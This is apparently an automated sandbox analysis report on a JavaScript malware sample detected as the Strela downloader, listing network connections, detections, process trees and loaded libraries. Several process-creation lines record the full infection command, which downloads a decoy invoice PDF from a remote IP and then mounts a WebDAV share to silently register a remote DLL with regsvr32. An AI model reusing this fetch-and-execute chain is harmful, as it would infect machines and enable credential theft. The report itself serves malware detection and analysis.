Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:56599 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: wscript.exe, 00000000.00000003.2045274730.00000211B308A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2120526896.000002513D918000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117666715.000002513D93C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2109526764.000002513D96C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2120631663.000002513D93C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117666715.000002513D946000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2120631663.000002513D946000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117666715.000002513D946000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/G
Source: net.exe, 00000007.00000002.2120631663.000002513D946000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117666715.000002513D946000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/K
Source: svchost.exe, 00000009.00000002.3327383892.000002476F200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2115175608.000002476F100000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5372, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 18620271451234622924.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3224:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lihzcmwb.zuj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1556,i,8809128848475989509,4982577557519076522,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1556,i,8809128848475989509,4982577557519076522,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
